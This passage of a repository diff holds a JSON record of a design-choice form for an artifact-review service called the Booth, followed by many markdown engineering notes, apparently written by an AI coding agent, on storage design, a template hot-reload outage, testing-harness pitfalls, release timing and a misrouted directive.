||||
"label": "C — The Bench",
|
||||
"detail": "compare-first; argued against as the default"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"key": "compare",
|
||||
"prompt": "Compare mode (C as a view toggle):",
|
||||
"options": [
|
||||
{
|
||||
"id": "this_arc",
|
||||
"label": "Build it in this arc, after A/B land",
|
||||
"detail": "RECOMMENDED — the ladders and bakeoffs already need it"
|
||||
},
|
||||
{
|
||||
"id": "v11",
|
||||
"label": "Leave it parked for v1.1",
|
||||
"detail": "booth-dev's current plan"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"key": "voice",
|
||||
"prompt": "The new copy I'll be writing — which voice?",
|
||||
"options": [
|
||||
{
|
||||
"id": "plain",
|
||||
"label": "Plain and direct",
|
||||
"detail": "RECOMMENDED — it's a judgment surface; deadpan only where nothing is at stake (empty states)"
|
||||
},
|
||||
{
|
||||
"id": "deadpan",
|
||||
"label": "SVOS deadpan villainy throughout",
|
||||
"detail": "the full SVOS voice"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"key": "emblem",
|
||||
"prompt": "The SVS emblem in the top bar?",
|
||||
"options": [
|
||||
{
|
||||
"id": "no",
|
||||
"label": "No",
|
||||
"detail": "RECOMMENDED — a fleet utility; the glowing dot and reticle favicon carry the family look"
|
||||
},
|
||||
{
|
||||
"id": "yes",
|
||||
"label": "Yes — the square emblem",
|
||||
"detail": "brands the Booth as part of the SVOS suite"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"notes": true
|
||||
},
|
||||
"prompt": "The Booth — round 2: which flow gets built",
|
||||
"title": "The Booth — round 2: which flow gets built",
|
||||
"multi": true,
|
||||
"questions": [
|
||||
{
|
||||
"key": "direction",
|
||||
"prompt": "Which flow becomes the Booth?",
|
||||
"options": [
|
||||
{
|
||||
"id": "a_b",
|
||||
"label": "A + B's reel as the review mode",
|
||||
"detail": "RECOMMENDED — the Desk + lightbox; full size gets the tape, seen-tracking and the end-of-set summary"
|
||||
},
|
||||
{
|
||||
"id": "a",
|
||||
"label": "A — The Desk alone",
|
||||
"detail": "triage index + lightbox + full-size review with filmstrip; no seen-tracking"
|
||||
},
|
||||
{
|
||||
"id": "b",
|
||||
"label": "B — The Reel",
|
||||
"detail": "every booth opens as a one-at-a-time review; the grid is secondary"
|
||||
},
|
||||
{
|
||||
"id": "c",
|
||||
"label": "C — The Bench",
|
||||
"detail": "compare-first; argued against as the default"
|
||||
}
|
||||
],
|
||||
"notes": false
|
||||
},
|
||||
{
|
||||
"key": "compare",
|
||||
"prompt": "Compare mode (C as a view toggle):",
|
||||
"options": [
|
||||
{
|
||||
"id": "this_arc",
|
||||
"label": "Build it in this arc, after A/B land",
|
||||
"detail": "RECOMMENDED — the ladders and bakeoffs already need it"
|
||||
},
|
||||
{
|
||||
"id": "v11",
|
||||
"label": "Leave it parked for v1.1",
|
||||
"detail": "booth-dev's current plan"
|
||||
}
|
||||
],
|
||||
"notes": false
|
||||
},
|
||||
{
|
||||
"key": "voice",
|
||||
"prompt": "The new copy I'll be writing — which voice?",
|
||||
"options": [
|
||||
{
|
||||
"id": "plain",
|
||||
"label": "Plain and direct",
|
||||
"detail": "RECOMMENDED — it's a judgment surface; deadpan only where nothing is at stake (empty states)"
|
||||
},
|
||||
{
|
||||
"id": "deadpan",
|
||||
"label": "SVOS deadpan villainy throughout",
|
||||
"detail": "the full SVOS voice"
|
||||
}
|
||||
],
|
||||
"notes": false
|
||||
},
|
||||
{
|
||||
"key": "emblem",
|
||||
"prompt": "The SVS emblem in the top bar?",
|
||||
"options": [
|
||||
{
|
||||
"id": "no",
|
||||
"label": "No",
|
||||
"detail": "RECOMMENDED — a fleet utility; the glowing dot and reticle favicon carry the family look"
|
||||
},
|
||||
{
|
||||
"id": "yes",
|
||||
"label": "Yes — the square emblem",
|
||||
"detail": "brands the Booth as part of the SVOS suite"
|
||||
}
|
||||
],
|
||||
"notes": false
|
||||
}
|
||||
],
|
||||
"options": [],
|
||||
"notes_enabled": true,
|
||||
"notes_label": "notes",
|
||||
"answer": {
|
||||
"stem": "flow",
|
||||
"title": "The Booth — round 2: which flow gets built",
|
||||
"answers": {
|
||||
"direction": {
|
||||
"prompt": "Which flow becomes the Booth?",
|
||||
"choice": "a_b",
|
||||
"choice_index": 0,
|
||||
"label": "A + B's reel as the review mode",
|
||||
"notes": ""
|
||||
},
|
||||
"compare": {
|
||||
"prompt": "Compare mode (C as a view toggle):",
|
||||
"choice": "this_arc",
|
||||
"choice_index": 0,
|
||||
"label": "Build it in this arc, after A/B land",
|
||||
"notes": ""
|
||||
},
|
||||
"voice": {
|
||||
"prompt": "The new copy I'll be writing — which voice?",
|
||||
"choice": "plain",
|
||||
"choice_index": 0,
|
||||
"label": "Plain and direct",
|
||||
"notes": ""
|
||||
},
|
||||
"emblem": {
|
||||
"prompt": "The SVS emblem in the top bar?",
|
||||
"choice": "no",
|
||||
"choice_index": 0,
|
||||
"label": "No",
|
||||
"notes": ""
|
||||
}
|
||||
},
|
||||
"unanswered": [],
|
||||
"complete": true,
|
||||
"notes": "",
|
||||
"answered_at": "2026-09-23T08:07:40-07:00",
|
||||
"answered_by": "100.64.0.4"
|
||||
},
|
||||
"text": "",
|
||||
"flagged": false,
|
||||
"by": "",
|
||||
"error": null
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
# Every code-changing finding came from the AMBIGUITY pass
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**Every one of the panel's code-changing findings came from the
|
||||
AMBIGUITY pass, none from a paraphrase divergence** — and two arms independently
|
||||
proposed cutting the paraphrase to a drift-check for narrative-heavy contracts,
|
||||
because this contract's own frontmatter carries a plain-language narrative and the
|
||||
paraphrase was partly reading my framing back to me. That is a finding about the
|
||||
`/heid-contract-review` **skill**, not about this repo, and it was reported back
|
||||
to heid. Recorded here only so a future session does not rediscover it.
|
||||
@@ -0,0 +1,11 @@
|
||||
# A boolean escape hatch as the lifetime mechanism
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**A boolean escape hatch as the lifetime mechanism.**
|
||||
`.forever` was added because a 24h TTL genuinely did not fit some booths —
|
||||
and then 56% of live booths ended up on it, which means it is not "ephemeral
|
||||
with an exception", it is two lifetimes wearing one lifetime's clothes, with
|
||||
the operator doing the sorting by hand. Replaced at U4 by lifetime derived
|
||||
from state (an open mark pins; viewing is activity; `keep` survives as an
|
||||
explicit reasoned pin rather than the only way to say "not yet").
|
||||
@@ -0,0 +1,16 @@
|
||||
# Deterministic order is a cross-cutting v1 invariant
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**Deterministic order is a cross-cutting v1 invariant** —
|
||||
operator directive, mid-implementation. Every ordered collection the Booth
|
||||
renders must have a *stated* rule producing the same sequence on every render
|
||||
of the same state; the rule can be anything defensible (byte order, time, an
|
||||
explicit number, an arbitrary-but-recorded sequence), but no rule at all is
|
||||
forbidden. It binds harder here than elsewhere because the Booth's job is
|
||||
**comparison** — the operator judges tile 47 against tile 47 and refers to
|
||||
artifacts positionally, so an order that moves between renders misfiles a flag
|
||||
or a note rather than crashing. Recorded as `ROADMAP.md` § "Cross-cutting
|
||||
invariant" (with the per-collection table) and `CLAUDE.md` invariant 6, and
|
||||
tested. Still undecided and must be settled before those units ship: **U7's
|
||||
section ordering and compare pairing**, and **U6's bench listing**.
|
||||
@@ -0,0 +1,7 @@
|
||||
# Extracted from `eshpfi` into its own repo
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**Extracted from `eshpfi` into its own repo.** The accreted
|
||||
service came over whole, tests included, so `tests/test_booth.py` (1581 lines)
|
||||
is the regression net the v1 rewrite is checked against.
|
||||
@@ -0,0 +1,13 @@
|
||||
# Five mechanisms to get one question beside one artifact
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**Five separate mechanisms to get one question next to one
|
||||
artifact** — `.forever`, the link board, `inline.py`'s placeholder DSL,
|
||||
`wrap_verbatim_html`'s six regexes, and the floating amber asks chip plus
|
||||
`/b/<n>/asks`. Every one is a *correct local fix* to the same global
|
||||
mismatch, which is exactly why they accumulated without anyone making a bad
|
||||
call. **The foot-gun is the sixth one:** the next "just add a small thing for
|
||||
this case" reads as reasonable and is the pattern. The git log carries the
|
||||
signature — every feature ships, then takes 2–5 patches for cases the single
|
||||
shape did not anticipate. Check the ROADMAP gate before adding a mechanism.
|
||||
@@ -0,0 +1,10 @@
|
||||
# The `.forever` diagnosis is a falsifiable prediction
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**The `.forever` diagnosis is a stated, falsifiable
|
||||
prediction.** U4 (derived lifetime) predicts the kept-rate falls to the
|
||||
genuinely-durable booths. Re-measured today: **14 of 25 booths kept (56%)**,
|
||||
against the 54% the IA doc recorded. **Re-count a fortnight after U4 lands.**
|
||||
If it does not move, the diagnosis was wrong and the boolean was doing
|
||||
something else. Tracked in the IA doc's Booth section and by this entry.
|
||||
@@ -0,0 +1,11 @@
|
||||
# The information architecture and the v1 gate landed
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**The information architecture and the v1 gate landed**
|
||||
(`726822b`): `docs/design/information-architecture.md` names the single
|
||||
defect — *one lifetime (24h from last touch) and one shape (a folder),
|
||||
serving five jobs with different lifetimes and different shapes* — and
|
||||
`ROADMAP.md` gates v1 on seven units, each closing a **measured** defect
|
||||
rather than a wish. Both were written after a measurement pass over the live
|
||||
service, and the measurements are the load-bearing part.
|
||||
@@ -0,0 +1,24 @@
|
||||
# Letting Jinja hot-reload templates in the deployment root
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**Letting Jinja hot-reload templates while the repo is the
|
||||
deployment root** — the cause of a live outage the same day U2 landed, and the
|
||||
sharpest foot-gun in the repo. `booth.service` sets `WorkingDirectory` to this
|
||||
repo, so the running service imports these files with no build step and no
|
||||
staging copy. Python is read once at process start; Jinja's `FileSystemLoader`
|
||||
re-reads a template **on every render**. Editing `booth.html` therefore
|
||||
deployed it instantly against Python from 22:03 that knew nothing about
|
||||
`item_marks`, and **19 of 25 live booths returned 500** with
|
||||
`UndefinedError: 'item_marks' is undefined`. Neither the old code nor the new
|
||||
code was broken — the service was running both at once.
|
||||
**The lesson that generalises:** a skew between a process and the disk under it
|
||||
is invisible to the test suite by construction, so no amount of green tests
|
||||
would have caught it; the operator found it. Fixed at the source rather than
|
||||
with a reminder — the `Environment` is hand-built with `auto_reload=False`, so
|
||||
there is now ONE staleness rule (nothing takes effect until you restart) and
|
||||
the running process is always a coherent snapshot of one commit. Asserted by
|
||||
`test_templates_do_not_hot_reload_from_disk`. Watch the second-order risk the
|
||||
fix introduces: a hand-built `Environment` does not inherit `autoescape` from
|
||||
the `Jinja2Templates` constructor, and booth names, item names and mark text
|
||||
are all agent-authored strings landing in HTML.
|
||||
@@ -0,0 +1,12 @@
|
||||
# Letting the link board absorb the announce job
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**Letting the link board absorb the announce job.** `booth
|
||||
link` is an `O_APPEND` write with no identity and no stated rule, so
|
||||
re-announcing a bench appends a row instead of updating one, and a booth URL
|
||||
rots the moment its booth is swept — **145 of 211 rows (69%) pointed at
|
||||
nothing**, and 22 were the same target re-posted (talk 5×, peedlar 4×). The
|
||||
rot is **structural, not drift**. The lesson that cost the most: enforcing
|
||||
the link rule without first giving the announce job a home (`.booth.json`
|
||||
provenance on the index, U5) just makes it homeless.
|
||||
@@ -0,0 +1,21 @@
|
||||
# Marks are one `.marks.json` per booth
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**Marks are stored as one `.marks.json` per booth**, atomic
|
||||
temp-file + `os.replace`, `fcntl` lock on the read-modify-write — operator
|
||||
decision, this session. Two alternatives were weighed and lost: a sidecar
|
||||
per item (`<rel>.marks.json`) and extending the existing `<stem>.ask.json`
|
||||
shape. Rationale, and the reason it is not `links.md`-shaped: **(a)** U4
|
||||
makes *"does this booth owe an answer?"* a hot question — the sweep asks it
|
||||
per booth per tick and the index asks it per card per page load, so per-item
|
||||
sidecars turn it into a full walk of all 25 booths, one of which holds 270
|
||||
files; **(b)** `links.md` is an `O_APPEND` content-hash log because **17
|
||||
agent handles write it concurrently**, whereas marks have exactly one writer
|
||||
(the operator, in one browser) and many readers — a different problem that
|
||||
must not inherit the append-log design; **(c)** `.blurred` / `.pins` /
|
||||
`.forever` already establish the per-booth dotfile as the house shape for
|
||||
operator state, and `booth_items()`'s dotfile skip means it costs nothing in
|
||||
counts, galleries or zips. Accepted cost: a corrupt `.marks.json` loses that
|
||||
booth's marks rather than one item's. Implementation deferred to U2 —
|
||||
tracked at `ROADMAP.md` U2 and by this entry.
|
||||
@@ -0,0 +1,15 @@
|
||||
# A write over a damaged `.marks.json` wiped the booth
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**A write over a damaged `.marks.json` was wiping every mark in
|
||||
the booth.** Shipped in `v0.2.0`, found by the panel (Kimi, converged with
|
||||
Hulda), fixed in `v0.2.1`. `marks_for` is deliberately lenient — unparseable
|
||||
reads as `[]` so a review page still loads — and the write path inherited that
|
||||
leniency through the same reader, so one flag click appended to an empty list and
|
||||
atomically replaced the file. The fix is an **asymmetry**, which is the reusable
|
||||
part: reads stay lenient, writes go strict (`MarksCorrupt`), damaged bytes stay
|
||||
on disk, routes answer 409 not 500. A page that renders without an annotation is
|
||||
recoverable; a file that overwrote the operator's judgment is not. Kimi also
|
||||
named the class correctly — "an author steeped in the design conversation would
|
||||
likely read past" it — and that was accurate.
|
||||
@@ -0,0 +1,10 @@
|
||||
# A partially-answered pick counts as OPEN
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**A partially-answered pick now counts as OPEN** — declared, not
|
||||
smuggled. The old index badge tested `answer is None`, so a half-answered
|
||||
four-question ask read as closed on the index while the panel beside it
|
||||
rendered `◐ partial`: the two disagreed about the same booth. Open is the
|
||||
reading that makes U4 correct — a lifetime rule that unpinned a booth on the
|
||||
first radio click would sweep a review in flight.
|
||||
@@ -0,0 +1,14 @@
|
||||
# Regex-injecting chrome into arbitrary author HTML
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**Regex-injecting chrome into arbitrary author HTML**
|
||||
(`wrap_verbatim_html` + `_HEAD_CLOSE_RE`, `_HTML_OPEN_RE`, `_DOCTYPE_RE`,
|
||||
`_BODY_CLOSE_RE`, `_HTML_CLOSE_RE`, `_ICON_RE`, and the doctype/charset
|
||||
ordering constraints they thread). It works today and is **still live** —
|
||||
but it is the single most fragile thing in the service and it is load-bearing
|
||||
for the operator's most important workflow. Slated for deletion at U3 in
|
||||
favour of a declared seam (`/_booth/embed.js`, mounted through a real DOM
|
||||
API), which costs an author one line and removes the whole class. Do not
|
||||
extend the regex set in the meantime; if a verbatim page breaks, that is an
|
||||
argument for U3, not for a seventh pattern.
|
||||
@@ -0,0 +1,8 @@
|
||||
# `sindra-finalists` is U2's flag motivation, caught live
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**`sindra-finalists` is U2's `flag` motivation caught in the
|
||||
act** — 86 items, every one captioned, and the booth's entire name is "the
|
||||
ones the operator picked." That loop currently runs through chat, which is
|
||||
the defect `flag` closes. Evidence, not argument.
|
||||
@@ -0,0 +1,12 @@
|
||||
# Tagging a release while a review gate was in flight
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**Tagging a release while a review gate was still in flight.**
|
||||
`v0.2.0` was cut and announced to 15 consuming handles; the
|
||||
`/heid-contract-review` panel — dispatched BEFORE implementation, as the
|
||||
discipline says — replied afterwards with three defects in the code that had just
|
||||
shipped, one of them silent data loss. Nothing about the tier decision was wrong;
|
||||
the *timing* was. **If a gate is outstanding on the work being released, the tag
|
||||
waits for it.** The cost was a same-hour `v0.2.1` and a correction note to peers
|
||||
who had already verified against the broken version.
|
||||
@@ -0,0 +1,9 @@
|
||||
# Letting the write path share the read path's leniency
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**Letting the write path share the read path's leniency.** See the
|
||||
`MarksCorrupt` decision above. The general shape, worth carrying beyond marks:
|
||||
a tolerant reader and a tolerant writer over the same state are not the same
|
||||
decision, and pointing both at one function silently makes them one. Tolerate on
|
||||
read so the surface still renders; refuse on write so nothing is destroyed.
|
||||
@@ -0,0 +1,13 @@
|
||||
# Seam review and cold panel had zero overlap, twice
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**The two review gates are complementary, measured on one unit.**
|
||||
The caller-side **seam review** (nine findings, against the real sibling module
|
||||
surfaces) and the cold **`/heid-contract-review` panel** (four arms,
|
||||
artifact-only) had **zero overlap in both directions** on U2. The seam review
|
||||
found a scope miss the panel structurally could not see: the contract omitted
|
||||
`inline.py`, whose `place()` indexes by subscript, which a frozen dataclass
|
||||
refuses. The panel found three code defects and a missing test the seam review
|
||||
had no lens for. Matches heid's kvasir zero-overlap result on the
|
||||
conformance-versus-hunt axis. **Run both; neither substitutes.**
|
||||
@@ -0,0 +1,16 @@
|
||||
# U2 (marks) landed — one primitive for three mechanisms
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**U2 (marks) landed.** One primitive replacing three
|
||||
mechanisms. `pick` / `note` / `flag` in one `.marks.json` per booth, one read
|
||||
path (`marks_for`), one openness predicate (`open_marks`), rendered beside the
|
||||
artifact on the tile, at full size in the zoom, and in the panel. `flag` and
|
||||
`note` had no write path at all before this — the selection loop
|
||||
(`golden-candidates`, `sindra-finalists`, the `pancake-*` ladders) was running
|
||||
through chat. 242 tests. Details worth carrying: `asks.py` kept `normalize_ask`
|
||||
and gained `build_answer` (the 2026-09-09 partial-answer semantics preserved by
|
||||
moving, not rewriting) and LOST its five sidecar-storage functions;
|
||||
`GET /b/<n>/marks.json` was added because remote sessions polled
|
||||
`<stem>.answer.json` over HTTP and the sidecar's removal would have taken that
|
||||
capability with it; `/b/<n>/asks` 308s to `/marks`.
|
||||
@@ -0,0 +1,17 @@
|
||||
# The U2 seam review earned its place, and how
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**The U2 seam review earned its place, and the record should
|
||||
say how.** Nine findings against the real `booth.asks` / `booth.items` /
|
||||
`booth.inline` surfaces, two of which changed scope or behaviour: `inline.py`
|
||||
was missing from `touches` entirely (its `place()` indexes asks by
|
||||
**subscript**, which a frozen dataclass refuses — nothing else in the service
|
||||
does that), and the partial-answer inconsistency above. The cold
|
||||
`/heid-contract-review` pass is artifact-only by design and structurally
|
||||
cannot see a sibling module, so neither it nor a same-model self-review would
|
||||
have found either. Two more surfaced later and are worth the same note: a
|
||||
SECOND subscript in `inline.place` the seam review undercounted, and a
|
||||
regression in my own legacy importer that a retargeted test caught — a
|
||||
malformed sidecar that renders `⚠ broken` today would have silently vanished
|
||||
on migration.
|
||||
@@ -0,0 +1,19 @@
|
||||
# U7's section premise is half wrong
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**U7's section premise is half wrong, and it is the half that
|
||||
matters** — found by re-measuring `~/booth-data` rather than trusting the IA
|
||||
doc. The IA says sections come from subfolders that already exist on disk;
|
||||
true, but **every booth that actually needs navigation is flat**:
|
||||
`pancake-v3-full` (270 items, 0 subfolders), `pancake-v4-full` (270, 0),
|
||||
`sindra20-engines` (98 items + 99 caption sidecars, 0), `sindra-finalists`
|
||||
(86 + 87, 0). Subfolders exist on exactly two booths — `pewpew-ui-brief` (7,
|
||||
nested to `_ds/powerpellet-design-system-<uuid>/preview`) and `dfa-concepts`
|
||||
(1) — and **both are reports**, the job where grid navigation matters least.
|
||||
So sections stay worth shipping and `Item.section` stays right, but they are
|
||||
**not** "most of the navigation fix": the rail, the filters and grid keyboard
|
||||
are all of it. Worth noting for whoever writes U7: `sindra20-engines` encodes
|
||||
its structure in the **filename prefix** (`b2-s1-<subject>-<seed>`), which is
|
||||
where a grouping heuristic would actually pay. The IA doc's claim about what
|
||||
sections buy needs a line struck — not yet edited.
|
||||
@@ -0,0 +1,14 @@
|
||||
# v0.2.0 was tagged while a gate was in flight
|
||||
|
||||
_2026-09-21 · booth_
|
||||
|
||||
**v0.2.0 cut and announced; v0.2.1 fixed what the announcement
|
||||
was already wrong about.** Operator approved the minor (a v1 unit closed plus a
|
||||
CLI surface change for 17 consuming handles clears the release-note bar). The
|
||||
note went to 15 handles — the 17 link-board posters minus `nh3-dev`, a host
|
||||
label, and `heid`, an oracle that does not script these verbs. Then the
|
||||
cross-frontier contract panel landed and found **three defects in the code I had
|
||||
just released**, so `v0.2.1` shipped within the hour. Sequence worth remembering:
|
||||
the release was correct by the tier bar and still premature by the discipline —
|
||||
the panel had been dispatched BEFORE implementation and its reply arrived AFTER
|
||||
the tag. **If a gate is in flight, the tag can wait for it.**
|
||||
@@ -0,0 +1,45 @@
|
||||
# An approved directive misrouted because pane_find addresses by a rolling title
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**An operator-approved directive (D-0011, sent by Miranda, telling booth-dev to
|
||||
begin U7) landed on the infra-ops handle instead.** Worth keeping for the
|
||||
mechanism, not the incident: the incident resolved cleanly and the mechanism
|
||||
did not.
|
||||
|
||||
## What happened, and why nothing broke
|
||||
|
||||
`pane_find` matched `terminal_2` **by its ROLLING PANE TITLE**, and that pane is
|
||||
the eshpfi-management seat rather than booth-dev. Miranda confirmed all of this
|
||||
directly when asked.
|
||||
|
||||
infra-ops caught it and **deliberately did not relay the content as an
|
||||
instruction** — their reasoning, which is exactly right: a directive arriving as
|
||||
"infra-ops says Miranda says Vuong says" is two hops from the source, and a peer
|
||||
passing operator authority along is the thing the rules warn about. They sent a
|
||||
routing report instead, quoting only the two lines that identified the target.
|
||||
|
||||
This session then **did not act on it**, and asked Miranda directly rather than
|
||||
taking a peer's word for the operator's. She confirmed it was genuine and
|
||||
**superseded pending the sections ruling**. Both loops closed in two messages.
|
||||
|
||||
## The part that is still true tomorrow
|
||||
|
||||
**A pane title that changes as work moves through the pane is not a stable
|
||||
address.** It put an approved directive on the wrong seat, and:
|
||||
|
||||
- **the failure is silent from the sender's side.** Miranda had no signal it
|
||||
went astray until infra-ops spoke up. A directive that misroutes to a quiet
|
||||
or busy seat simply evaporates.
|
||||
- it landed somewhere that caught it. That was luck, not design.
|
||||
|
||||
Reported to infra-ops as an ops matter (`01M35JJ9034E64HMA8X9C21R2N`), with the
|
||||
mechanism named and no fix proposed — not this repo's call. **Not tracked
|
||||
anywhere by booth-dev**; recorded here only so the next session does not
|
||||
re-derive it if a directive goes missing again.
|
||||
|
||||
## The rule this confirms
|
||||
|
||||
The CLAUDE.md Miranda exception is for Miranda relaying **directly**. A
|
||||
second-hand report of a Miranda relay is one hop too far, and infra-ops said so
|
||||
before this session had to. Going to the source cost two messages and settled it.
|
||||
@@ -0,0 +1,69 @@
|
||||
# A mutation harness that certified a broken test, twice, for two reasons
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
This repo already knows that **an assertion which has never seen its own
|
||||
defeating change is not known to falsify anything** — two prior entries say so
|
||||
([[2026-09-22-vacuous-falsifiers]], [[2026-09-22-seven-of-seven-falsifiers]]).
|
||||
So U7's groups were built with a harness that applies each defeating change and
|
||||
asserts the named test goes red. **The harness itself had two defects, and both
|
||||
produce the same lie: a falsifier certified without being run.**
|
||||
|
||||
## Defect 1 — no green baseline
|
||||
|
||||
A test that is **already red** reports RED for every mutation thrown at it. The
|
||||
escaping test had an arithmetic slip (counted `<` against `<a`/`<nav`/`</` and
|
||||
forgot the two `<b>` elements), so it was failing for a reason unrelated to
|
||||
escaping — and the harness cheerfully reported `RED ✓ the rail markup is emitted
|
||||
with |safe`. **Run the test unmutated first; a non-zero baseline is a harness
|
||||
failure, not a proven falsifier.**
|
||||
|
||||
## Defect 2 — the bytecode cache, which is the subtle one
|
||||
|
||||
`if len(sizes) < 2` → `if len(sizes) < 1` is **byte-identical in size**. CPython
|
||||
validates a `.pyc` against the source's `(mtime, size)` at **one-second
|
||||
granularity** — so a mutation that lands in the same second as the revert before
|
||||
it is invisible, the cached bytecode is reused, and **the harness runs the
|
||||
unmutated code and reports the falsifier proven.**
|
||||
|
||||
The tell was non-determinism with no cause: INV-3a certified RED on one run and
|
||||
GREEN on the next with neither the test nor the code changing, and reproduced by
|
||||
hand every time. Fix: delete `__pycache__` and set `PYTHONDONTWRITEBYTECODE=1`
|
||||
in the subprocess environment before every run.
|
||||
|
||||
⚠ **This bites any same-size source mutation**, which is most interesting ones:
|
||||
comparison flips, off-by-one constants, `and`↔`or`, `<`↔`>`. A mutation harness
|
||||
without cache defeat is biased toward exactly the mutations most worth running.
|
||||
|
||||
## Result
|
||||
|
||||
12 falsifiers, 12 proved, stable across consecutive runs. Two of them only
|
||||
after these fixes — and one of the twelve (`test_group_order_is_the_position_of
|
||||
_the_first_member`) was genuinely vacuous on the first pass: its `w, x, y`
|
||||
fixture's positional order **happened to be alphabetical**, so it stayed green
|
||||
under the alphabetical-sort mutation it forbade. Rebuilt so all three plausible
|
||||
rules (position, alphabetical, count) disagree.
|
||||
|
||||
**The harness lives in the session scratchpad and dies with the session.**
|
||||
Whether it becomes `scripts/` is an open question for the operator — this repo
|
||||
has now been bitten by vacuous falsifiers three times, and prose in a memory
|
||||
file is not an instrument.
|
||||
|
||||
## A third way an instrument goes blind: `nth-child` vs `nth-of-type`
|
||||
|
||||
_Added 2026-09-23, credited to design-dev, who hit it in his R2 order check._
|
||||
|
||||
His layout check has a positive control — one tile given `order:-1` that the
|
||||
check must catch. **The control went blind when group headers became grid
|
||||
children**: `nth-child(5)` started landing on a header instead of the fifth
|
||||
tile, so the control stopped controlling and the check kept reporting clean.
|
||||
|
||||
Same class as this file's other two, and the reason it belongs here: **a control
|
||||
that no longer controls reads exactly like a passing test.** Nothing in the
|
||||
output distinguishes "detected nothing because there was nothing" from
|
||||
"detected nothing because I am aimed at the wrong element".
|
||||
|
||||
**The rule worth having written down:** use `nth-of-type` over `nth-child` for
|
||||
any assertion that means *the Nth TILE* rather than *the Nth child element*.
|
||||
The two agree right up until somebody adds a sibling of a different kind — and
|
||||
adding a sibling is what a redesign is.
|
||||
@@ -0,0 +1,120 @@
|
||||
# A wrong-shaped answer 500s the gallery and the marks page — CLOSED 2026-09-22
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**Found by the U3 bug-hunt panel, measured against `42ea67f` — the commit
|
||||
BEFORE U3 — so it is not this unit's doing and was not fixed by it.** U3's own
|
||||
surface is guarded; these two are not.
|
||||
|
||||
## The defect
|
||||
|
||||
`.marks.json` that is **well-formed JSON with a wrong-shaped value** passes
|
||||
every reader and then raises in the renderer:
|
||||
|
||||
```json
|
||||
{"id": "batch", "shape": "pick", "answer": {"answers": [], "notes": ""}}
|
||||
```
|
||||
|
||||
`_hydrate` only checks `isinstance(entry.get("answer"), dict)` — it never
|
||||
validates `answer["answers"]`. So `marks_for` and `hold_read` both return the
|
||||
mark with `error = None` and **no read error at all**, and then
|
||||
`_ask_inline.html` does `a.answer.answers.get(q.key)`, Jinja asks a list for
|
||||
`.get`, and it raises `UndefinedError`.
|
||||
|
||||
Measured, not reasoned:
|
||||
|
||||
PRE-U3 (42ea67f) gallery page: 500
|
||||
PRE-U3 (42ea67f) marks page: 500
|
||||
PRE-U3 (42ea67f) index: 200
|
||||
|
||||
The index survives because it never renders a fragment.
|
||||
|
||||
## Why it matters more than it looks
|
||||
|
||||
This is **the v0.2.2 shape with a different trigger**. That outage was a
|
||||
`.marks.json` that could not be PARSED; the reader was made lenient and the
|
||||
index stopped 500ing. This one parses perfectly and breaks one layer further in,
|
||||
at render time, where no leniency exists — so the lesson "one damaged file must
|
||||
cost its own tile, not the page" is only half-implemented. `read_error` is
|
||||
answering a narrower question than every caller assumes.
|
||||
|
||||
## What U3 did and did not do
|
||||
|
||||
U3 added `_safe_fragments` around `_pick_fragments`, so `/b/<name>/embed.json`
|
||||
returns a per-mark `error` record instead of a 500 — the same posture
|
||||
`_hydrate_safe` takes one layer down. That protects **the verbatim path only**.
|
||||
|
||||
`booth.html` and `marks.html` call the same macros with no such guard. Left
|
||||
alone deliberately: the gallery is named out of scope in the U3 contract, and
|
||||
widening a unit mid-flight to cover a pre-existing defect in a surface it never
|
||||
touched is the scope drift the roadmap gate exists to stop.
|
||||
|
||||
## The design question it deserves, when it is picked up
|
||||
|
||||
Not "wrap the other two call sites" — that is the third copy of one guard. The
|
||||
real question is **where the boundary belongs**:
|
||||
|
||||
1. **In `_hydrate`**, validating the answer shape so a wrong-shaped answer
|
||||
becomes `error` at hydration and every surface inherits the fix. Cleanest,
|
||||
and consistent with declarations already being normalized on read — but it
|
||||
widens what `error` means.
|
||||
2. **At each render site**, per-mark, as U3 did. Honest and local; three copies.
|
||||
3. **In the template**, defensively. Cheapest and worst — it hides the fact
|
||||
that anything is wrong.
|
||||
|
||||
(1) is the shape the rest of this module already argues for: one predicate,
|
||||
one place. Worth an operator decision because it changes what a `Mark` can be.
|
||||
|
||||
⚠ Reproduce with the fixture in
|
||||
`tests/test_embed.py::test_a_wrongly_shaped_answer_costs_its_pick_not_the_report`,
|
||||
whose closing comment points back here.
|
||||
|
||||
Related: [[2026-09-21-marks-write-wiped-judgment]],
|
||||
[[2026-09-22-lenient-reader-blast-radius]],
|
||||
[[2026-09-22-u3-declared-embed-seam-landed]].
|
||||
|
||||
|
||||
---
|
||||
|
||||
## CLOSED — 2026-09-22, after U6, at option (1)
|
||||
|
||||
Fixed in `_hydrate`, the option this entry argued for: **one predicate, one
|
||||
place, every surface inherits it.** The operator was asked three times where the
|
||||
guard belonged and did not answer; the placement was taken under the stated
|
||||
assumption, and it is cheap to move if he disagrees — the whole fix is one
|
||||
